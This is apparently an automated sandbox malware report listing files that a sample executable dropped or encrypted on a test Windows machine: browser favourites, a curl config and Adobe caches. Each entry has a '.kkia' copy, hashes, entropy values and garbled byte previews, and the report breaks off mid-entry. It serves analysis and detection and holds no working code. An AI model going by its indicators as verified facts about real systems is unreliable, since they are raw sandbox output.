Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.459643030604753
Encrypted:	false
SSDEEP:	12:EQd6l4DQ6Sxk8QVhFzx+Z37XH0MZju+l5b13UzPrgcii9a:xd6iM60k5zx+J7XlZjZbxCkbD
MD5:	F5C13242CBF392D6DF8D0F296AFFA6C8
SHA1:	40025093F305F60932F83677ACE21073E95E784B
SHA-256:	BEB8DA74C3B53A04476AFCF17A849574612441A9BE5C289C02463DDD8909284A
SHA-512:	1C9CABEEFDEB79969AF30728279CBD5D0D8D6FEF0F1D44550263811B7F5954D203A165F0FB2FC7D4603A9FAD2659B3617894DF5053BDFEF52C19CD513E3E9A2A
Malicious:	false
Preview:	[{000D.Li)..l.w.m.4.+..r{....b..&b).4jpj.:..`....}......V....>>2.8.'S4.e..\|.O...<;h.....<.3.Z..._]....C....m.n.N..].W.~O_7..........l...>........:Na<..<M.TRM+...[.7..G...t..C?\..m.....K....<!.......#-K..f.../..Xh.x...9.Lmf....q....$.H..v.l!.u../@..S..{.8i..X$BZ..T.AZ.....G........W%m.../..3....j)...-OMM.`....v..E.l....4...gW..IC\x....5.H.-...T.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.398228995010558
Encrypted:	false
SSDEEP:	12:QtbdlODAZioFjQNzyrvnOkDCKJkVxL2FPrgcii9a:MjOEZrVQtyr7Gq5kbD
MD5:	591C9EEC69FB0404FE7D205F4E7BC0E8
SHA1:	98A7612C0FC0E5556EEBFFA9547CF02B9973584D
SHA-256:	7BF2F67ED741AA7B0E95A69CE4C785BB6D4E394D7269862D3584D32840839121
SHA-512:	16804D6D08B0079A7D456F5D1C42D90726AC4B465E9E6F956CA1E4EEAAE71E97C30C68D0D3217387AA197374C0E55058B321C79997BA18DECE27528F85F637A9
Malicious:	false
Preview:	[{000_)g[......a......-!+.._K.-..g.V..A....Q...,4...g.T.$)?...@=.H...<.kH.S.N<..-..a.].d.q._X.....r..?.'~.Y..l.7.A......yc.....3..P....[P.5..7.R.t.N.6j.B..:...P!,..+.0...]!,[.D..-...7^...F.@}_....5........j....Y.7.(..h..o.3.S.[.X)srt>.%...W.+....3..p.a @x...n^.Q...B&......4......$.\....I.=D....W..S.. ......DD....3S.Bu.f&.w..[h.....K......dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.398228995010558
Encrypted:	false
SSDEEP:	12:QtbdlODAZioFjQNzyrvnOkDCKJkVxL2FPrgcii9a:MjOEZrVQtyr7Gq5kbD
MD5:	591C9EEC69FB0404FE7D205F4E7BC0E8
SHA1:	98A7612C0FC0E5556EEBFFA9547CF02B9973584D
SHA-256:	7BF2F67ED741AA7B0E95A69CE4C785BB6D4E394D7269862D3584D32840839121
SHA-512:	16804D6D08B0079A7D456F5D1C42D90726AC4B465E9E6F956CA1E4EEAAE71E97C30C68D0D3217387AA197374C0E55058B321C79997BA18DECE27528F85F637A9
Malicious:	false
Preview:	[{000_)g[......a......-!+.._K.-..g.V..A....Q...,4...g.T.$)?...@=.H...<.kH.S.N<..-..a.].d.q._X.....r..?.'~.Y..l.7.A......yc.....3..P....[P.5..7.R.t.N.6j.B..:...P!,..+.0...]!,[.D..-...7^...F.@}_....5........j....Y.7.(..h..o.3.S.[.X)srt>.%...W.+....3..p.a @x...n^.Q...B&......4......$.\....I.=D....W..S.. ......DD....3S.Bu.f&.w..[h.....K......dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.374482365743553
Encrypted:	false
SSDEEP:	12:FlpxEkqDErbYVsiDAF50NnSduZxpH3Wxh9psz2+Prgcii9a:FM2EPAM9Zx0DY24kbD
MD5:	07E6A66A57363CAE73243E3764098D68
SHA1:	F9B8C401259D231B0F9E66633298A5A3886FEBB8
SHA-256:	4B5B57039AF355533EB13086BE7E53684762C7C539B26237763766CD13A2C451
SHA-512:	EA6C88A7A1EE220BC97C9EB005794D7D5F7E425693B304137F642D5DDE93BB0839736413A5E995CA6CAD66606331B63787D9252D175D270CC123F5C82A99ABF0
Malicious:	false
Preview:	[{000..5...].~a.".'......<...&6.@..[..f..E.U..k`..!.y1.Q.f.&.n..g.=.P.yZ...F[.w....]/.R+.r).6...t[...1..OAL....R......7.Ly'$p....<.'H-C.t&...........~..?.Sb/<...:....~0.x.R..w....k.WfX.... HN...~...z.. ...b...E....ik.....@~..K.s.?(..P.Dk.)..4......t.C...XD..fu........T..Q.!...9i.%{RW..P...<. .;.D...kt.Qu"..g}..%..^`bnq.>.1hN..N.P..#.......JrF....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.374482365743553
Encrypted:	false
SSDEEP:	12:FlpxEkqDErbYVsiDAF50NnSduZxpH3Wxh9psz2+Prgcii9a:FM2EPAM9Zx0DY24kbD
MD5:	07E6A66A57363CAE73243E3764098D68
SHA1:	F9B8C401259D231B0F9E66633298A5A3886FEBB8
SHA-256:	4B5B57039AF355533EB13086BE7E53684762C7C539B26237763766CD13A2C451
SHA-512:	EA6C88A7A1EE220BC97C9EB005794D7D5F7E425693B304137F642D5DDE93BB0839736413A5E995CA6CAD66606331B63787D9252D175D270CC123F5C82A99ABF0
Malicious:	false
Preview:	[{000..5...].~a.".'......<...&6.@..[..f..E.U..k`..!.y1.Q.f.&.n..g.=.P.yZ...F[.w....]/.R+.r).6...t[...1..OAL....R......7.Ly'$p....<.'H-C.t&...........~..?.Sb/<...:....~0.x.R..w....k.WfX.... HN...~...z.. ...b...E....ik.....@~..K.s.?(..P.Dk.)..4......t.C...XD..fu........T..Q.!...9i.%{RW..P...<. .;.D...kt.Qu"..g}..%..^`bnq.>.1hN..N.P..#.......JrF....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.465833789036579
Encrypted:	false
SSDEEP:	12:2ISwTczREgfyeHQWSrXnLdTsVVv7Prgcii9a:2I9ZWQWmXLgJjkbD
MD5:	66511D9EE4976BFEF23E797AA0CAF8EC
SHA1:	7D7D011570C3E5F2A1445F4E5028163832D4E208
SHA-256:	63E649BC3198BC25C4D60B2BE8210B7A0F48EE87D3E35223AEA619D9D2123AD2
SHA-512:	ED5425FE3F19AD69486748BD724A906AED290E4EE8E1707C40051A3412B978671F7F3C4792319E702F6835F8B6E54C65DE560530D008F28063EA9FC12DF793F0
Malicious:	false
Preview:	[{000T.N....Sf.{<Y.5.....=..).E.8W....).4.g...."..NS.>..oP..Qew./w..l.z_..$.!.p.vJ.....Z..e.>Yz.#..g.S.2?@.zO[..@.\...$..>.N..Q..G....`j....M...q..vG.j#Q0I.."U..)....W7...m........'.6".a..6...w.T....8LA.uy.F.........].BB.9X..8.q._.OzS.,..B..0:....*.0v. ..L5.:.rb.M.'..._-..8?...~^5.....x.....C\..QP\..1.... ..5....gnF.......3f..t...z..V."..Ky..FB...T..Me....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.465833789036579
Encrypted:	false
SSDEEP:	12:2ISwTczREgfyeHQWSrXnLdTsVVv7Prgcii9a:2I9ZWQWmXLgJjkbD
MD5:	66511D9EE4976BFEF23E797AA0CAF8EC
SHA1:	7D7D011570C3E5F2A1445F4E5028163832D4E208
SHA-256:	63E649BC3198BC25C4D60B2BE8210B7A0F48EE87D3E35223AEA619D9D2123AD2
SHA-512:	ED5425FE3F19AD69486748BD724A906AED290E4EE8E1707C40051A3412B978671F7F3C4792319E702F6835F8B6E54C65DE560530D008F28063EA9FC12DF793F0
Malicious:	false
Preview:	[{000T.N....Sf.{<Y.5.....=..).E.8W....).4.g...."..NS.>..oP..Qew./w..l.z_..$.!.p.vJ.....Z..e.>Yz.#..g.S.2?@.zO[..@.\...$..>.N..Q..G....`j....M...q..vG.j#Q0I.."U..)....W7...m........'.6".a..6...w.T....8LA.uy.F.........].BB.9X..8.q._.OzS.,..B..0:....*.0v. ..L5.:.rb.M.'..._-..8?...~^5.....x.....C\..QP\..1.... ..5....gnF.......3f..t...z..V."..Ky..FB...T..Me....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405003407082335
Encrypted:	false
SSDEEP:	12:Gf/5EjtXdTweXLk1Usj1wa5rhk8sS+X/t6t8rHlFVePrgcii9a:uxEpXdMiw9wa5dk8slF1IkbD
MD5:	DA2819BA9148B7165F79D2B91F626053
SHA1:	813C7212830D6A630D49BF5B4EC78F0B03DF9AD9
SHA-256:	18FD3ED770D0DAF4842E5A39C7329CFF5F3B727CBA208035E5B02F24DF672B00
SHA-512:	693F23BB09628B4A0D8624B2A189972057F57224E2D60A820ECB080510D7230810B17E9C1B9295BF6BC3823191865B9D05BD79B89675FBC5661C7E3BFC510CC6
Malicious:	false
Preview:	[{000d6..@...hXB...b.3...K.w.R.K..W......EL.......w.oF...R\.z;.#.r.....}....g5...t..C;Z....= P..p...4.F......I.+...}=1B.@.p..w..n..!,.(......L<...P..rI.x........a..9...N.+...v..pU..<^..<.@...A............._<%.....c.u.FZ..8.........u..........}Po.27.R..?....B.ba.,\.....N.#.t.1.]..>..q....\...`.B]..lI.!..Y..8.uG....a..j^Oy5.p.......+..?Oo+.5dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405003407082335
Encrypted:	false
SSDEEP:	12:Gf/5EjtXdTweXLk1Usj1wa5rhk8sS+X/t6t8rHlFVePrgcii9a:uxEpXdMiw9wa5dk8slF1IkbD
MD5:	DA2819BA9148B7165F79D2B91F626053
SHA1:	813C7212830D6A630D49BF5B4EC78F0B03DF9AD9
SHA-256:	18FD3ED770D0DAF4842E5A39C7329CFF5F3B727CBA208035E5B02F24DF672B00
SHA-512:	693F23BB09628B4A0D8624B2A189972057F57224E2D60A820ECB080510D7230810B17E9C1B9295BF6BC3823191865B9D05BD79B89675FBC5661C7E3BFC510CC6
Malicious:	false
Preview:	[{000d6..@...hXB...b.3...K.w.R.K..W......EL.......w.oF...R\.z;.#.r.....}....g5...t..C;Z....= P..p...4.F......I.+...}=1B.@.p..w..n..!,.(......L<...P..rI.x........a..9...N.+...v..pU..<^..<.@...A............._<%.....c.u.FZ..8.........u..........}Po.27.R..?....B.ba.,\.....N.#.t.1.]..>..q....\...`.B]..lI.!..Y..8.uG....a..j^Oy5.p.......+..?Oo+.5dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.3986237639768575
Encrypted:	false
SSDEEP:	12:w5ojwgTKxZEf6C5iiyyy1DymxTLld7tKZvlpv927Prgcii9a:KEzv5iR3Zy8TRdwZ9BgjkbD
MD5:	E72568B7B622A4E8150476E46F8F3DD3
SHA1:	2E3A0ED2EE984366FE80B15692C8E7B8468B4ADB
SHA-256:	06EE5633B49D7DAF602310D0F372CA252CD83BF1338C58B98FA182828DB1BDBB
SHA-512:	D431532C97BE5C27E41B8B7DB9F83CAE03D7C2CABDD7E02354775FCDC1B6F751CD603689B1FD8BE14185403C3E898020C071E3E63FEF2D4C2539F4B05940600C
Malicious:	false
Preview:	[{000......@.T.~.Y......`.....3..o.DQ.[.q..7....]'.._t...a.4.;Kw...3.}M.d...a.EY.q..5u(..z.;>m.2...pw@M8.A7DI+J..!e.....,z.....@j...j1...j=R..>CA$).=...#RER.p.]_.l..m..B.E{.........3f...1....Kj...WA%..AWW.9.K.o..ac !:...%.z.5...L......-[:.)/Y..."...c.c..1.+..}..+.N\|I.^?_....R.2E..J.g......R0j.j.c.!./"....-.p)...G}..).\|.\C3a.Z.N...k.R..I.E.....".l.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.3986237639768575
Encrypted:	false
SSDEEP:	12:w5ojwgTKxZEf6C5iiyyy1DymxTLld7tKZvlpv927Prgcii9a:KEzv5iR3Zy8TRdwZ9BgjkbD
MD5:	E72568B7B622A4E8150476E46F8F3DD3
SHA1:	2E3A0ED2EE984366FE80B15692C8E7B8468B4ADB
SHA-256:	06EE5633B49D7DAF602310D0F372CA252CD83BF1338C58B98FA182828DB1BDBB
SHA-512:	D431532C97BE5C27E41B8B7DB9F83CAE03D7C2CABDD7E02354775FCDC1B6F751CD603689B1FD8BE14185403C3E898020C071E3E63FEF2D4C2539F4B05940600C
Malicious:	false
Preview:	[{000......@.T.~.Y......`.....3..o.DQ.[.q..7....]'.._t...a.4.;Kw...3.}M.d...a.EY.q..5u(..z.;>m.2...pw@M8.A7DI+J..!e.....,z.....@j...j1...j=R..>CA$).=...#RER.p.]_.l..m..B.E{.........3f...1....Kj...WA%..AWW.9.K.o..ac !:...%.z.5...L......-[:.)/Y..."...c.c..1.+..}..+.N\|I.^?_....R.2E..J.g......R0j.j.c.!./"....-.p)...G}..).\|.\C3a.Z.N...k.R..I.E.....".l.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4401061327483555
Encrypted:	false
SSDEEP:	12:Tl+PmYYZpvozfGFK0fzBWaSkkRHytPrgcii9a:TUmYY7voTGFBlJkchkbD
MD5:	56E807A7B9D0A3533836104A13C47E91
SHA1:	C44BB9886EA9EA752E48EBA6FA8E0A67F1B5C714
SHA-256:	48CBFE6E71551C2ECCBCB07D06CF8036AF9B04AC33310A28561D1840EB74AED0
SHA-512:	7E46140B87C1F9F3BD786F69FFF53FAA495A26D51C62D658DB4FB52BB6088650DD0315752D31A2F5D494EC806B9A6948579A94929DA519D24A0B68E585997FB4
Malicious:	false
Preview:	[{000.#..}\|.yf ..^.$...y.'. .;c..@.._D..0.e&..WD6..C....1.N</....t..c...36Z{...u<S]..,..a...ACs.."../Oo..e'..g. S.?O#.@.G../.y....-d.M......._....;.....-..{..&.q."q .Jp..$...>c....gZ.A"....!3^.....>>+...j~[KOc\.....O...x...>.....l...K.3..MJ..V(.\...H..hEO[....j'.z......5.I]....{.[W-&?VbT....K.g.D\|T.q=..*.+'dl.\....G..\...W....3... ....n&oR..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4401061327483555
Encrypted:	false
SSDEEP:	12:Tl+PmYYZpvozfGFK0fzBWaSkkRHytPrgcii9a:TUmYY7voTGFBlJkchkbD
MD5:	56E807A7B9D0A3533836104A13C47E91
SHA1:	C44BB9886EA9EA752E48EBA6FA8E0A67F1B5C714
SHA-256:	48CBFE6E71551C2ECCBCB07D06CF8036AF9B04AC33310A28561D1840EB74AED0
SHA-512:	7E46140B87C1F9F3BD786F69FFF53FAA495A26D51C62D658DB4FB52BB6088650DD0315752D31A2F5D494EC806B9A6948579A94929DA519D24A0B68E585997FB4
Malicious:	false
Preview:	[{000.#..}\|.yf ..^.$...y.'. .;c..@.._D..0.e&..WD6..C....1.N</....t..c...36Z{...u<S]..,..a...ACs.."../Oo..e'..g. S.?O#.@.G../.y....-d.M......._....;.....-..{..&.q."q .Jp..$...>c....gZ.A"....!3^.....>>+...j~[KOc\.....O...x...>.....l...K.3..MJ..V(.\...H..hEO[....j'.z......5.I]....{.[W-&?VbT....K.g.D\|T.q=..*.+'dl.\....G..\...W....3... ....n&oR..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\.curlrc.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.299445799982772
Encrypted:	false
SSDEEP:	6:KWr/gjUU133ziJ9NchiKEtH8R99mQqBdPRmvDsmkV0mQaTLN4+Pebugcii96Z:NEd36T23EtomVPRRTVBQaPC+Prgcii9a
MD5:	3E06B75E5F9DADFB20BEFA213893AD82
SHA1:	C592A295D7DEF40F263F22FBC1C4F12BCD8A8B7F
SHA-256:	EDF702A7FD0F0FF75A7FB4C8E7A66A922E516A39B7C1BB1A92009B4390A30C8E
SHA-512:	50A8E34D77739327C3B043A592E06A4DE734BC939FC36808AE354D7158B76A5109F56BEF1EE145C1B9A1E62955152ED05A1CBABA90CDD2AB0F971243B9430BA4
Malicious:	false
Preview:	insec..3ZK.*...;.X'2+....%K.&.M..\.~h==!.....ZDmd.w....#..A...T:......a..o./N...!Mq......6...G.....Y..!a.(.......z..a....\|...$...\|..R...B.?...[b...+.. 7ZF....C_vj7......w.:'d.9..w.Vw)...(xL._....6.W5.!4.?T.\..f../....;F.$....0.....<..:e..?.s/..E..q.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.877874846417318
Encrypted:	false
SSDEEP:	48:P8ws2aXADX8F8PC2UY/87cnLFoOEgvJpAoHFqFHJ/6b5vYED:koGADX8Fyx87aF9OolgJ/6xYQ
MD5:	4915DA39C7C4891E6EDE65114056C7F0
SHA1:	D8D47F47B90D4AA41645790BAB84D9BD81F7F7B3
SHA-256:	874D8AFF9C0DDC94D3186C9B7F07576F2E5E7B8480AD7AE91F56001D645BB964
SHA-512:	E969BF75895B8C2AE8F281449AEB5F63FF046AB42766517D262CB28D5A586095E8697744CB6786FB1D2AD2B6DBB78DCAD180D6532A5D9E88A5C75BC47411528E
Malicious:	false
Preview:	%!Ado....fK..../.Rq?#O..k.u.....f@.(.`8....X....Y...(.OX..F60$.nR......}.}G..S8......E$...[.D...Z.:.c=zu..a..6;.......)..r....89..b..0.7.2.'..h.>g..WP...!.f2wfF.K..fg!.1.v..Y..{&%.+c/&(K.v0.q......4..&..^Y.l.s.?.0..;....Vk......)t........}.+#o....R.-=....S...'..N8.....q............l].P.49.F.z...)..\|.<.x. iH.[..n.my}..%[.RG.f.f.:...]..K.a...\..15.Q[kh+.+..\G..a..i.\.z.(...x....B2.\|l+....[y...SY.T.yMBug..,Xs.J.S}..L....uN...,..l..A..^.GE..Gt...g;..O"......J.%X.......^.:K.!.SZ.M9.e&D'.....7.....rm..l..).....T.{D.i..ph........`.`......V.Yb.4...8..}.2.k.F..2>.&...=..n..-..o...q.R...!.y....@...<7.G.\|_h.PR.....KcE}..hT.GH..J)..]..Y~.D..Z...,K...A^.y-F.~..R.:(aI[.q..Z.p.l....'..GE..+F.\|.9...2.;`./.@..45R.gz..AC...3..P.@....!.s...u).~.%.W)bx.....v`gX...lXr.A..I.:`.j....dh.>..L.h..~[M../M.1w.E_..\v..t+...LC.~..e..+.3..XR..S..8.Z.K..(.[D....=i9...}=....w(4'EN..f..M...S..7.Ucx....V.}.d.p..n..VbA>Y.......4r&."..[...M...q..[..0.Y....t}.XT

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.8785448539949785
Encrypted:	false
SSDEEP:	3072:G94HZQqLGFrGacMWRMOK9+/CqVvVro8Ik0CQ7YUTDP16o/XE07ZmandGCyN2mM7P:G9prLWRzqsU8heJT71x/XE07ZmandGCl
MD5:	F7103DD779209E93C55EEA4A43A7BCE4
SHA1:	279F58BF12CEEF536BBD506C6080913A7AC1AB65
SHA-256:	AE4B2E0259FA4B2ECD0CE94EEC035CA5E39590FCD7A95DBD28718281529C33EA
SHA-512:	40392D43C4545954C45D50A4F6B42EE7B17A3E41F20CF19E1606694088E1DF703B1031190B38F2123E1A7B7F2AFBCDF1C62BB29C2F63B2898A9AA1D25ED713EE
Malicious:	false
Preview:	%!AdopF<.[B.g......t.n..#/.;........^......6..........sM.6H.O.Mv.............f$.........L.q...]h!.(.\|U..!7........a^.`S.U(U..x#N...D.z.....k..`zf..).r.....D^..,umy.X...I.y.v......8~[.......{Kb.^...K$.e.~7.C.....(.'..6.h.....!LWH....f^=?/.vh..\(t..BO#QP>>.....7....l.....V.[..u...S&m..,..T.4...B.nWM.y....jT..M..&....I\.....&...D]..K....!......hI'2R..-g....e..\|.N.\#...'..4..P.h....c...wQ......}2...O}....Z.-^....KC...........@.....O.[.'.......Q.'..>..;..YQ...Z.&...,.Aa..@..Zz:...$.:...^;'..R..MZ.I..m.....;....v.v..w..c=^&tE..L..^...8.@nuR...I=$...L. .mO...vl..{....@{..40^..........o.(..}.3j.?E}6..>&....T.X......8.,..Y.2G...b>.m...(q....Y.F..}.._. -+..,....j_.....OQo1..=.l...U..-....x.#.&.:.OU..-.V.26.....-.]...=...u0...Z.....b....C..kC,z.Z.p~'.B.?.V.2e1...L\JF6...Ek.}....`.M1.R....F....)..:....g......!.....~.g?..0.-.b..u..4AL .$e=W..4D.LE\..W.`..R..J!>}g......+.\1.~2...5u}.....K.(.V..c.i8..7..pCYm..c...i....F.4....g.&.).....g..d..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\Cache\AcroFnt23.lst.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	11214
Entropy (8bit):	7.98303158626364
Encrypted:	false
SSDEEP:	192:GzlyCDEWVp4zehQx4HWhEseY/h7ll0nlCIeimI8L8Ynh2mGBncOKB:GIUEA4zeycts55lylzedIinUmGBncOKB
MD5:	97EA67036B1B946569FA977CB9A1A4EB
SHA1:	6C3786DBDCD4A382AC750A5BAF144EDE78B14BE8
SHA-256:	D7AF67071FC117334282983893D21B89C42FB3A29279D7F40193EE3FF2A9BDCA
SHA-512:	9CB48D7BE6982B82ED8C4E6BA892A2D4B5A747A3F134281B15EBEDB9C63E558A3F2F9A92B853D453FAD00B5675E37DD6DFE4B4ABD1BF14860DDD430E5AC3C196
Malicious:	false
Preview:	%!Adoy.>.\|.E..Y@.CAi&.......6U.......a7.we,....E....pQ...[..8G.{~..2.o{.\|....{Z~..kR..m.>&..<.t4.........(..u+.......-..&..).x..).....s.&;p.Q.'H.z......5L. .............7..=.....v...5..E%8.....c.Lg.. .zH.S.u....t...Ex.B_vm1CH.......).D..3.....+...)z1...]V...G.X\|r~)..Hp.......+zO./7k....U>...n..1.\|.4]../.....;.P.........a.2.?.$.)...l_N...yPe"..3AD.N...2d.j.v.p..]+Q....En.....&`y.....8.._.s.....v.=.gJ..0..C.I...M.s.#i....y...M2.e.}..wZov...h.N^.\......H.%...fX..29.,.(..z._7....._K..TH9 .....xm....J@aF...Mf..&76...Xm._..<.43..lP..T?L....<..o.1lB\p2>j..>t...3[..6.e.b.,.1.*.......r....z...5h....1......@R+..g}...\...9..-..@..5.7S....%..~.Y.Z....F...g..4..Od...?....Y..J.j...2z..c%..g.;lS...a..o.]..4.gl.A....6.t)..1j.....O....4%..@"H_M.Ly..VV.&.........\|...k'....dY.C.].3)Y....?.........f..;..>.!zUf0..\.r....-)...>.....T..\|....=..[...!.;..Q...=..h.Q...M.A...bM.H.%Ht..sq .9.#~...".UD......Q..".C.z.Ao..]...........:s`}..I.3.0/).......G.n..+UH

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.985076471880197
Encrypted:	false
SSDEEP:	3072:9I17YQl3Vpf7j3G22Vy1vlWE031kD2mf5vDnf6PL7ZwmThquzOs7SUTOoWiRnm:qlzl33j3GK1t0lK9j6OmNpPnm
MD5:	2E1E2E7AB1B75825D1F4C68185AD8407
SHA1:	DDED03C26A08B706DEF590A71FE852FAF7AA47C5
SHA-256:	9431341513FC9B5B0B178498DE3A0088D21269C42B95F0A534D91F87EE623232
SHA-512:	E64908654ED2C800355D7921CA325369F21CD75BDC3FEBF4B85870F45232A5E2D5340AE43B4C5E67653868B5BB6B09C5119631C2C7D8194C03221F3CF971A5B4
Malicious:	false
Preview:	Adobe......./....)......u.....:.............:4..2Rc.?.X..O.]4.aR+_..w....n....k.....6..N.......b.7.....W...>..(CS...57...k.>.C.R`.}z.0.7.....y8.2!!..E...-.\|..OA...>{W..zp.".w._.l.....&...Y.6.5t3y.@mJv.<._L....C.........n.]...Z.o.4..%..G<...."..l.l..\|'.N......_.tg.;K.Xx2.TBF........\.@.9k...U...ko...HT...n..b.v.1......VR....P...Xr..te.....0........!6B...].<7\.8.G.....t.A....X.....(;...(u\.:..........F.c.1^i.8j..w.8..uo.)...&e.:....5..!......^...^...`.LZ...\|.AQ..K<.T.HeDO..}oVrV..u.......+....D\|.#..Z8B&....`VT..A...b..Q.....;..i.)b....`..7..{...)..."..O:...H.......@.._Y.H...........0g.E..[2[g".f.0..2cZT.../....3=.Q..{.y.A..J$.....O"...h..2....-.m\.[.......R..O@.(p.<+..Jd...R}Yz@..\|...Jx=.>.Z.{.e.fT.Dy.y.sQ.8.9Q7XK/]X...r.....@..zyT.J.?.........0.@.Lk..&.A....-..l...........}.......B..T.WU.9.....`.Q.M..7...!..v....?L.,F.....r...j.e.X..V.Pb.).e.$.&.h.\...9.....O.2.6q!8w.Z.......[..cn..X5..e.....s.C..`YC........'.OG.B_=.....#...TZ-G.mEer..-\..s

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.9976054011867745
Encrypted:	true
